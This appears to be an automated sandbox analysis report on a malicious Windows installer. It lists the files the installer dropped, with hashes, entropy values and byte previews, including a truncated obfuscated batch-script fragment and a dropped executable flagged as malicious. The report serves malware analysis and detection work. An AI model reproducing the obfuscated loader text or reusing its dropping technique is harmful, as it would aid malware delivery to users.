Preview:	....@......U.0...R....%\I..D~i...&n.x..dK.!k...N..P..5....4.e>L.Y....[..2.$t...>.....l.3U....\.m.\..x.9...0>..d..3..4.-.......H...2....e..U/..8..p............F..a.q`Aq\|.q...}....;.:>.....N..`2.l.y.)._F .@_./g;....MQ`..h.3".+.PCo.b.V...c@CZP...6CoF.8....+#N...k....=S.7.......+....T..(......3.$9....:......#.`.nj....5.kI....g.}..VQpq.....{.....'M).P7T.x.m...7<......eA..$..P............`.M].?.8/-b-....\|/.............j...?y]KP...b<.3. .C..X....#TW.+..................!....W.C~2......PV...v..u..T3m..'.VS.+...u.......m.,..Q..Q....7..!...%.Xm)...I.@S.J.jl..c....e.~>]..x.G..OX{..}.w........HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rq...5.=.'.F...h.............iW..&...iW..&...kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~

C:\Users\user\AppData\Local\Temp\Bet

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	Microsoft Cabinet archive data, 488173 bytes, 10 files, at 0x2c +A "Bmw" +A "Exhibit", ID 6382, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	488173
Entropy (8bit):	7.998336016759455
Encrypted:	true
SSDEEP:	12288:NjAAlkMYCbJezDf/jYGP3XzZYLs6jLGW5ekETq4h+8MAz49UK:2AlFJCDXjYQHV0s6jLG2FEZhkAz4D
MD5:	7A94B55C797CD4B6C1708E85EEE5FF26
SHA1:	A1765A10272E671CA987F79D0EFED259269DCF93
SHA-256:	3D8AD14A80662A2876789D560A1598E405E59634B0B715F518D496F34035A346
SHA-512:	A81D8AB3EF60377C8B6B1C78026B12D880D71E4FCA4FA5E3A8ADCA552171AD4BBCB1781E348DDC404FE9F287D36272C913A490E6B42B1429165D1BF33BFAE954
Malicious:	false
Preview:	MSCF.....r......,......................................YFE .Bmw............YFE .Exhibit.E..........YFE .M.....E......YFE .Straight.....E......YFE .Organization..H..E7.....YFE .Utils.....E......YFE .Turkish.....E......YFE .Riverside.....E......YFE .Mf....._......YFE .Handbags..3...K..CK...\|T.0~.+Y.] . A".J....%,.D.......,.......p.hK .d...{+.....U{....e.........+ .Ku.0.@.y.g..&Al..}..ts..<..3..<3g....s....?2g.p..=...\|.Ve...d..lr.XQY.\./Y.].z.?.....~.....f.O.O.gk...A..h.U.....c....s,Xe]..5.]..z...h.....w.[...!.q.Zrbr. .!...w.kU........G.P./U..w.)'.....`8..fmYq..\|.~.....z.......".C..T...2...(.{S5......kY._V..L.A@..?..A`.\.0.u..._ts.....B-v\|_....]'.]..1....<MCYgz.!.y..A.....,.2}.#&....,=e.fv.b.T.....@....Q. .Kp.}.~..+@...C.AH\|.9J....,...3..........9P.F.\|.Q.....mc.....)K^../F-...N..)^.7..{.H8.7_.....yzA"e.&9.w....I.x.C..~E..y.A.&.C..<\|..NB...@...0.2......e._.a...P...C...H..........p.~EB}....j..O..x...U<..W....~. Dfg7$..`..3.Q.g...0..F........;....^..x.

C:\Users\user\AppData\Local\Temp\Bmw

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	6.706138983890846
Encrypted:	false
SSDEEP:	1536:tI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMI/:K4CE0Imbi80PL
MD5:	5F75B451770B80BA4030B8B181EAA3AF
SHA1:	C88613AF396AE12B6DE9F67AF3F58C7F8054C7B2
SHA-256:	A9988F89F1AAA3674DAB275E824C66E94A4F38F8391977A744E61EE3A95C3AA3
SHA-512:	5C4A5CE1EA7CA8EE1B5616004AEEB04680C64939276749AB8E9947C94F497B5484F7F64661A23A325B424D393A1AFC18395D6C6EB5C546C15CC5C2CCDDAA04D6
Malicious:	false
Preview:	.f.p.Df..5`CJ...Y...Y....f.W...Y.f.\%.BJ...Y...X...Y...\.f.p....X...\...\.f..D$..D$.....-......A..-...f.s.&f.s.&f...f.U...\.......Y...X.f.V...\...Y.......\...Q.%.............f.T.f.s..f....f.V.f.n.f.p............Y<.p.J...Y...Y...Y...\.f.T..CJ...X...\...X.f..-XCJ...\...X.f...hCJ...^.f...`CJ.f.X..p.J.......Y...Y...Y.....Y...Y...X.f.....Y...X...X.%....f........f.p....X...\...X...X...X.f.W.f..D$..D$.......;..=.8........f...f.(5pCJ.f...f.(..CJ.f.(%.CJ.f.Y.f.(-.BJ....f.Y.f.Y.f.Y.......Y.f.X.f.Y...Y.f.X.f.p..f.Y.f.p....\.f.p....\...\...\...\...\...X.f..D$..D$.....-.;...........f.W.f.T=.CJ.f..%.CJ.f.(.pCJ...Y.f.(..CJ...\.f.(..CJ.f.p.D..Q.f.Y.f.p.Df....f.Y.f.X.f...0CJ.f.Y........Y.f.X.f.p.D..Y.f.T..CJ.f.Y.f.T.f.p.D..\...X...Y...\...\...Y.f.p....\...^...f.X.f.Y.f.p....X.%....f....f.p....X...X...X...X.f.W.f..D$..D$..........=..........f.~.f.s. f.~...........?+............f..T$.f.~.f.s. f.~........................f.W.f.W......f......Y..:......f..D$..T$......T$.....T$...$.....f..D$.......f..D$..

C:\Users\user\AppData\Local\Temp\Certificates

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	7.99788181244933
Encrypted:	true
SSDEEP:	1536:m378CuEi18cY8d+VUd4TJ43MbNmXlAs/3FY/cbcxJ1NimR0edc+fz85FPi9iCQHp:mTu7Fdd+VUd4N0X/yUb8Cea2z8PaH/VU
MD5:	7B20D716504F9DBBED75028ADEB8E7CD
SHA1:	CE44372DA55901EE60293EBFD38F2B05C8FD1CBB
SHA-256:	4716BAB4A5FDBB0482DCEA819990C2A331F20967D6BC7D034749825CB0F568C5
SHA-512:	BD3915C342F460BE4A720BD6766654BE29BFABD5F580C07DEB54A843EB0BF9F16FE9EEC435EBB99496EA2ABEBC1E0164AA65FDC7AA125204B5D28D690B513442
Malicious:	false
Preview:	.Sy......=...-.I.&r..B]..4YXZk.~....y..ZG....s.A..NM.l...3.%....o.^/....%.r..d..U.....7#c......j+....htQ=i...B3...^..e.._.z.W]..3.m...y..D..,...VX.K$0w....]....6H..2d..6:..m....e.....}...[.. ....8..F3wK..b...:%......" Uxn..s...b...".H.!.\.....m.x.G...GX..f)?R..OP..c...-.CXY..f..(gR.kR()m.bS.=....9...u.._q.W...g).%'.Wp..&.ylF)y.z..e+Yk.y.......B...)..W....O.>.......J..F.Q.Z.....Y.. ....J..=.....6&......#.....i......;....Vm.......R.P.T...-...fH..g5.]r{oIBw."....Q..e..81.h.u..:...9...}.$H.t.....z..b......r..........w.n....(LQ[3....p.1...\..Y..V.2.q.+p...E..b........H...@D.D......%.."%.t.3._1...)..vB.R..#U..b....i_c... ..6k...6.t..v.4.3E....l...r2...\|0.X...c.v."..+......Y....7.1.0\|8wT.~.7......P.3X...1xb4.]...9..~.cV....Qf.=5^...=,.F..~&..$P.N.Q\..`.W.J..0....{..w.......3./...NVd...G.......kp.,.....,..m.\/.......F..UQ..}.{...,M.;.......,....YT*.;$.K.......G....@..)..2.........r...1....N..lX....1k.7...I.......(..S...g......O..S.>.d..H

C:\Users\user\AppData\Local\Temp\Effective

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.997876793578293
Encrypted:	true
SSDEEP:	1536:RVGkEVhQjr49w1KuVUU7RXkS6VFMivQ5LJ109nOg+1FBkNDgvo:ykEVhQjc9wAu+U7mS6xvY1kk1FBACo
MD5:	AF13AAD8BD1F6DD28912CE4DBB4448AC
SHA1:	70D5F2A06E576C46E1DD5CAD5E8245EAD119B8FF
SHA-256:	59E301046236D74AEF18E13CC826F2A1C14F93009ADF71ED2F920A6F71EE7B7A
SHA-512:	26FB87D1CAA02FEB2C5561CFE6354AF658CD1D1760FCC867341A961B426327FC127C35CE6740C29DC7B2019C1ED0D54C7881A0455EBC52A9355434AEC2F98420
Malicious:	false
Preview:	....@......U.0...R....%\I..D~i...&n.x..dK.!k...N..P..5....4.e>L.Y....[..2.$t...>.....l.3U....\.m.\..x.9...0>..d..3..4.-.......H...2....e..U/..8..p............F..a.q`Aq\|.q...}....;.:>.....N..`2.l.y.)._F .@_./g;....MQ`..h.3".+.PCo.b.V...c@CZP...6CoF.8....+#N...k....=S.7.......+....T..(......3.$9....:......#.`.nj....5.kI....g.}..VQpq.....{.....'M).P7T.x.m...7<......eA..$..P............`.M].?.8/-b-....\|/.............j...?y]KP...b<.3. .C..X....#TW.+..................!....W.C~2......PV...v..u..T3m..'.VS.+...u.......m.,..Q..Q....7..!...%.Xm)...I.@S.J.jl..c....e.~>]..x.G..OX{..}.w........HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rq...5.=.'.F...h.............iW..&...iW..&...kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~

C:\Users\user\AppData\Local\Temp\Exhibit

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.6483765519522
Encrypted:	false
SSDEEP:	3072:ZCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj8:ZCOMVIPPL/sZ7HS3zcNPj8
MD5:	EAB697C79BF8A1996A376B359846F13C
SHA1:	739AABBC29055363EB02121C519139EEBEC4C654
SHA-256:	F235C4CCDCB327501DC648D9E488575FF5F5E022053B77C1F689126873760411
SHA-512:	F653576C4CB745708A9A3E359CBFC1E2A3C1FBDE248670A817964DFDB53F12BB19122F4D166941B02043459D92232F24F759BA55BFF67C15E673896844EDFE0B
Malicious:	false
Preview:	..........L..........y.I..A.....E.,K.......K.... cL....................H.......E...........f;...q....FD.....E...a.........Y................;............Fh..................j..........f;...z.....FD......k.........c...;........Q....V..N\|..t%.E..}.;.sSW.F.PQ.M.............d....5.V....+.E.;.w#f..f;F4u......A....E.f.@.f;F6..0....}.E........t=.F\|.M....;.u-.~..u'.~..u!f..f;F4u..Fh...........~...i...}.E..N\|;...=T......E.........;.......f.......f#......f;........E.......E.;F\|...S.........E..]..D....E.;F\|...S.........}....E.t0..%....=....u".E.............%............E...........5....FD...........#....E.;F\|..qS.........}....E.t0..%....=....u".E.............%............E................FD...............E.;F\|...S.........}....E.t0..%....=....u".E.............%............E..........._....FD......H....M....E.;F\|...R.........}....E.t0..%....=....u".E.............%............E................FD................E.;F\|..0R.........}....E.t0..%....=....u".E.............%.........

C:\Users\user\AppData\Local\Temp\Expected

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	ASCII text, with very long lines (1240), with CRLF line terminators
Category:	dropped
Size (bytes):	26036
Entropy (8bit):	5.096582818860482
Encrypted:	false
SSDEEP:	384:oukDekjJVi6yO7iNgWrUoztbXDQockPrxLmsnv3lG8AFipjocZ4:we6v/21U8bzQDcrvVzAGw
MD5:	CFE69139A330974529BE5A4080F825A7
SHA1:	21D9623BA56905E73C681ED7F39CEE008C506981
SHA-256:	75764C175A7FFDCEDCC012734842B2AC82AEDF3EE56453467CBAB67641A87B52
SHA-512:	866CDCE03F8900C3D0472E6230C38AAF49D0D29E0357A773693610A5ACFA5E8F2FC4253B88548D469D1B8020D95F0F11BDFC5E791496190022A698D79CF7A6D2
Malicious:	false
Preview:	Set Trips=j..XXgTin-Joined-Browsers-According-Wordpress-Announcement-Extend-Infrared-..wVinCent-Coleman-Fake-Holdem-Reseller-Ui-Portfolio-Talk-..ABZRailroad-..sCPForward-..QKlAndy-Sagem-Alternatively-Trust-Inbox-Framing-May-..teAccounting-Lobby-Consultant-Federation-Boulder-Airlines-..FnUruguay-Notifications-Banks-Mines-Jewel-Cable-Careful-Boolean-Jurisdiction-..nuQt-Chemistry-Paul-Vhs-Villas-Chart-Whole-..qIOdNathan-..Set Select=H..tBkGLa-Telecom-Loan-..pINavigator-Songs-Slip-..lzLooks-Injury-Champions-..hBRLDurable-Parameters-Oz-Brakes-Standards-Novels-Jeffrey-Supporters-..uBDemanding-Because-Lauderdale-Attractive-Optimum-Novelty-Porn-..pNcReports-Copy-Golden-Valve-..XynAssurance-Demo-January-Mart-Medical-Govt-Wm-..XUtMission-Ebay-Fu-Passport-Transfer-Outside-Trackback-Cheats-..HBEdt-Found-Pad-..Set Copper=r..JpCio-Text-..jaAsia-Carriers-Wonderful-Modular-Tablets-..bhIGerald-Conservative-Senegal-Wrestling-..EzUScript-Weblogs-Blair-Humanity-..seDaisy-Villas-William-Gas-Led-Cellular-Bl

C:\Users\user\AppData\Local\Temp\Expected.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1240), with CRLF line terminators
Category:	dropped
Size (bytes):	26036
Entropy (8bit):	5.096582818860482
Encrypted:	false
SSDEEP:	384:oukDekjJVi6yO7iNgWrUoztbXDQockPrxLmsnv3lG8AFipjocZ4:we6v/21U8bzQDcrvVzAGw
MD5:	CFE69139A330974529BE5A4080F825A7
SHA1:	21D9623BA56905E73C681ED7F39CEE008C506981
SHA-256:	75764C175A7FFDCEDCC012734842B2AC82AEDF3EE56453467CBAB67641A87B52
SHA-512:	866CDCE03F8900C3D0472E6230C38AAF49D0D29E0357A773693610A5ACFA5E8F2FC4253B88548D469D1B8020D95F0F11BDFC5E791496190022A698D79CF7A6D2
Malicious:	false
Preview:	Set Trips=j..XXgTin-Joined-Browsers-According-Wordpress-Announcement-Extend-Infrared-..wVinCent-Coleman-Fake-Holdem-Reseller-Ui-Portfolio-Talk-..ABZRailroad-..sCPForward-..QKlAndy-Sagem-Alternatively-Trust-Inbox-Framing-May-..teAccounting-Lobby-Consultant-Federation-Boulder-Airlines-..FnUruguay-Notifications-Banks-Mines-Jewel-Cable-Careful-Boolean-Jurisdiction-..nuQt-Chemistry-Paul-Vhs-Villas-Chart-Whole-..qIOdNathan-..Set Select=H..tBkGLa-Telecom-Loan-..pINavigator-Songs-Slip-..lzLooks-Injury-Champions-..hBRLDurable-Parameters-Oz-Brakes-Standards-Novels-Jeffrey-Supporters-..uBDemanding-Because-Lauderdale-Attractive-Optimum-Novelty-Porn-..pNcReports-Copy-Golden-Valve-..XynAssurance-Demo-January-Mart-Medical-Govt-Wm-..XUtMission-Ebay-Fu-Passport-Transfer-Outside-Trackback-Cheats-..HBEdt-Found-Pad-..Set Copper=r..JpCio-Text-..jaAsia-Carriers-Wonderful-Modular-Tablets-..bhIGerald-Conservative-Senegal-Wrestling-..EzUScript-Weblogs-Blair-Humanity-..seDaisy-Villas-William-Gas-Led-Cellular-Bl

C:\Users\user\AppData\Local\Temp\Handbags

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	6.318578020476229
Encrypted:	false
SSDEEP:	3072:1Zg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2Uj:1K5vPeDkjGgQaE/loUj
MD5:	D95F8431D62495080F59E5E4B8EB847B
SHA1:	33F66C070377B5F91BCB493214D5C1B8124FE02B
SHA-256:	131117AC28A5FD15E90F71CAC7E33286BAF16AE869A50422D297D0242C7610E5
SHA-512:	765BB929C51EE545150AC98067F152D27E1E09C1DF98FB792AEEBA2FA7C1DF3C862D2508785D7553428D878613C6C153B475000EF7EF5855B917318CBDD741A2
Malicious:	false
Preview:	[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M.

C:\Users\user\AppData\Local\Temp\Harder

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997704372452459
Encrypted:	true
SSDEEP:	1536:Km2qi0TT6RebVhfQVLNQruw0N9xG0zUUDF9Sqcszr+RDlDRzCCC05rO:JKRebVpiw0TXIq94E+NlVuCC0o
MD5:	068CD09E7FF353985E872715A2565105
SHA1:	E7DAD733369FB78E72483C3C9DEB5AD72E514E91
SHA-256:	55AD932C1FC3699D9D29B2C86DB8775819BA436A1810B1676D34E1279C05F59B
SHA-512:	9822B261296ABF13BE5367DB9333FF172F3A9ACFD7D5F21C94F73F56F1D41955BCA0023BB8067B13DB4F1188AA960ED8DBB3F3481D97BB84773862D1E22AFB29
Malicious:	false
Preview:	~.v.....&9.]......mA.\\.C. $=.s.o....P.n.l+......(....T"9.e,?.a........D.. aG..2...]..?O...h....q..VF.(.H._.RG8W..adC....[.f.N ...FE.Q.......}.4cX D..R...E..<(C...x.'..3'%.C.I...!.......B1.....S8......^&...~F...-....t..'..=.:..f.b=..q-%s.j`..S..j..X.V....`..X.$C?..@...>.o.S...1.f,.....J...).p.qZ.P/O.u..m..is.."E.......s:.(...:.Ns..v?../..l.u._..P....m.r.3a...'.......oi.....".,./..z...._.{.\|Y...G./.8......1......_.T..6Rvoho....`..Y~dil...,Q...S....as...!..w...S...d.F...+..;).....H....KC...S....."..GNo..0n....+.P..l.K.7t.....$.q{.v.Q^.[7c).....3[I....k1..m..T:nJ..{..Ol.....v..5..e.l.P.l.7.&.......?...V...+.j6~..%.&......#.k.}..0.X.yg...l&.h..6..]].b.....ig.N..Y.....R33..7..C.x.....^./..5\|.M...M^..\.H..()..t..V.W.F..G...)..;v.a...5......[T.V.....6Y4n.r..BK....!.....=..BI.._...3.p.G..L..EY.S.lc...U..~.i.D.;cx.w.o.)C6c%%....!Z.G$.....6.._..,.d'.....L6..4=...A9~A..3..+....<\....g....p4.XX.}[.+...j<.U.vr...c.,...N..x..G......H

C:\Users\user\AppData\Local\Temp\M

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1861
Entropy (8bit):	4.803491264264377
Encrypted:	false
SSDEEP:	24:syGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhB4+JvU1SX6u:t9n9mTsCNvEQH5O5U1nPKrhBzM1Fu
MD5:	5CAC4ED1F354860BA6420E94EE340F6D
SHA1:	6910481C1C150B27B54606B5994C7224C8640011
SHA-256:	57A441BB2C25C5D1896CFBF112F051990389B8DD64F316E5C5658A92D533FC9C
SHA-512:	6AF0960A798B656FE5D115FE3491F6F75AFB994B35DFB2606CD403288A59A9A41D1A961492BA01C8C7F878519ACC56E43F55C6F03558A24031869C959889FD84
Malicious:	false
Preview:	brandon........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16956304
Entropy (8bit):	7.986164015889439
Encrypted:	false
SSDEEP:	393216:Tx6Xw3RJbdVpGmT8ldkn+8sZcSAWMf3LJET:oQbdFwdK+8sqjjU
MD5:	DE1A36E00E7B8348A47B59CD94514DD4
SHA1:	D89348EFBD4A73AC440E34618996FBB8535AEE8B
SHA-256:	C8B7783D9B3FCB709A28F6BB19051F130703676494AEE7BB34D8FFA9398A04EE
SHA-512:	32E200AA916F95D21D1D9B1A876549D0DCE52B763F291C0202BDE17A76856C0B0A895CBB1540F3061109B76D371375DFBFBB114D0A45B9FE7B5AEC678D3B43B2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P...........................(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\Mf

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	55578
Entropy (8bit):	6.831228016941532
Encrypted:	false
SSDEEP:	768:pr2+9BGmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:d2+9BGmdATGODv7xvTphAiPChgZ2kOE6
MD5:	3AAB4AAD6EDA212E09D41BA64FBBBF0F
SHA1:	FFE98558B407CE9F971ED71D07A555B85F0F1CC0
SHA-256:	179AF49073D90B1AE5F7CEE235318CB602BD01E2E0EA15A3A2BFDE1528F4A989
SHA-512:	2554EE3A0C353A75575D079EAA81EEDD0B12B6C707D3B8863E16368FC796A6A9E3F2659A92C47F2844C9AEC1091D591851426158A5950DDD8B9752AA16D00859
Malicious:	false
Preview:	]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...^........................k.................................]...]...e...o...o...o...o...o...n...]...]...i...o...o...o...o...o...o...o...o...o...o...o...o...o...o...o...o...o...o...o...h...]...].......................................................b...]...]...p..............................].......................................................................................]...]...a............................W.....................]...]...]...]..............................q...].............................................................................]...]...]...].......................W.........................]...]...]...]...]..............................`...`.......................................................................d...]...]...]...].............................................p...]...]...]...]...]...f..............................]...r...........................................

C:\Users\user\AppData\Local\Temp\Organization

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	5.093773221340636
Encrypted:	false
SSDEEP:	1536:OKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZw:Q6whxjgarB/5elDWy4Zw
MD5:	29CCC6B6DB8D7842066F428005610B08
SHA1:	60902EC9523DC9D228BA46F99C0A858F7C1D8985
SHA-256:	27DC8A337EF502330E0C066240B2E2C3A621FCBF5314AAF1B6A30CD934AEB178
SHA-512:	C60D6F7237C00F0D4314E970448BD9FE43DFA78087CC7719341B573986A463FB5F15E8464B72615D148D4062B8E7F262A5E137B35B24DF100864F6BF8A594C37
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Planners

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.997824134918433
Encrypted:	true
SSDEEP:	1536:HdjXwEOd/7FoBfmTHEn34fAuOIIEfvYQ06cIwk33+JFgSo2tNf10eOLW3sqsoDQ3:H5w5TFoYIhEvYDNK3Mip2zf10nLW3sqo
MD5:	5813CD191801B14B95F7FBD8EA3DF3E1
SHA1:	CB54AD79ECB01FF0E9CCEAE9836D11BDEBF64C00
SHA-256:	FF93EFAA042B75DFDF1CC826901BE4CF12300D83D57011AAF9F6BDC492888D4F
SHA-512:	0D443E67124C27CE5F63826198601B97FA2D84A5E2F9E8CC7C2EFC9A07624E6039F80C205E3F1CF2D66A3611D2FAE3D9055BB0DACB12ECFB0EBC433434F67C3D
Malicious:	false
Preview:	.9,>\.0..C...~..[......c.V_i.Cv.n....8. X.]../D.}b.K..3..\..z..`.!.S....'.pO..O.&..AXg...7.....%=@...X\b...3.....:.C...."\|..%Gat~....:.G...;....9.SG....A,.V4 ..+......w.............b65..j=...._.w../^lt%.j...z. _D..{./..-......x}#>&c.C.r3...3..R9)..v.\|0.P.X.].C5..v.Y.:I..9X~.....:.-...:7......8<.c.X.x&...+D....f..........4z....m"....A!&.Ig92./.wt}..1.a.....l7.H..(.i.....!..k>Bk.@.D..bE&?.+.c\..I......\.....u.H.A.h.,..kG.Sl?.....\..u.}l..0...S..+.c.)..D\|......!.6.R......3.....{p...'.8..-...~..4...a.K...El#..../.F#...Z..U...w.p.h.3%h...........Y....a...7.T.I.....X~TYjqIyg.Nb..2.!FV...H.)...M..)....~....i../......v..:$1.7.....7..>....bL........9G.......?..r....]..$."'.........8..l.!~.rU....-.._~.C5.h...,...PPZ.B.^....h..Md....b.Q.dtO...!B.&..}e4s..\...9\...H6...q..C...p*-.........Zc...g_g..v.....+.u.w...3.G..............%.....x...i.....(.B.~.6.L(3.Z...b...\|F..TH.P..U..(wT..;2W.hG..k.. B...Ui ..M.....&,.$.3..c..s..R......&k.(.>..j.8......B.

C:\Users\user\AppData\Local\Temp\Riverside

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.700143120271754
Encrypted:	false
SSDEEP:	3072:HQWf05mjccBiqXvpgF4qv+32eOyKODOSpQSAN:Htf0accB3gBmmLsiS+SAN
MD5:	82E2E8DAB38A84EDD1CD7853E02D20C3
SHA1:	4649563A9C003AAD2130C1E253D0F746DDF90ACF
SHA-256:	605200D39960B4EA829DA3D4D3585BE49AACBBEA10F47CB0E329546E0E1D1B6F
SHA-512:	AFE19AAA285F86C3E9C05EF6CF35AA571812F25B0D1F8439AF74CB24455B4C351CA5ED42C1B324E5300DD06E28C7BC0B98414ADB536214430A25FCC342ED5FCE
Malicious:	false
Preview:	......6.....YY^..^......3.@;.u.......t.2..U..}..VW..C....}...u..}.V.u.W.u.j.u%h......T.I...~....u.;...x......_^]...h......y..u....y...A..@.t.@..U..SW..3.9_.u..u.........G._[]...8_.u.Vj..H.....Y.u...^..}4...^..G.....#G..F..w.^...u..O......_..S..QQ......U.k..l$.......SVW.M.3.h.....M.f.......e...3..E...C..0V.4..)K...q..YY..t.G..a\|.u...a........`w..$...A.......P.K..^...3..}.M.......E._^[..]..[...h..I..K...............s.......3..F......>.I...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E.#.E.'.E.+.E./.E.3.E.7.E...E.;.E.X.E.w.E...A...E.O.E...E...E.3.E.".E.>.E.O.E.k.E...E...E...E...E.Z.E.v.E...E...E...A...E...A...E...E.0.E.:.E.h.E.s.E.-.E...E...E...E...E...E...E.r.E...E...E...E.\|.E...A...E...E...E.6.E.J.E...E...E...E.R.E...E...E...E.!.E.7.E.M.E.c.E...E...A...A...E.y.E...E...E...A...E.}.E.f.A.f...f..0f;......y..u....y...A.t..@..V.......j.V.v...YY..^...Wj@.04M.3.Y...!.05M..._.U..QQS.].V.u.W...E..F..U..M....f.x.3.......e...M.j.Q.0.......

C:\Users\user\AppData\Local\Temp\Stones

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.997942528078247
Encrypted:	true
SSDEEP:	1536:wi0cZlTOuyJt1g/3vW/WQMWYYxGJkFYIeZvJsZjhG7tra2ZGtWC:TlTKJt1gf2MCUJkqIYviAtra2AkC
MD5:	D007B328A7E67AAC5420453408D25C0E
SHA1:	60C95E6455373FADEF904E9A880C52EF3CA77B8E
SHA-256:	166E0A74F3D585B17EAC4E3B31C98EDF649F1B03ED8560A94713D71CF2D932FF
SHA-512:	A8A4200976BB949C0836E2AD6BC328B4CAEADA4E14B79AB63FC2FB1C132EF0B2ABA0BADF89095BF77E5CC5F379939673C4A6E5EC51636940D22C593908347B3D
Malicious:	false
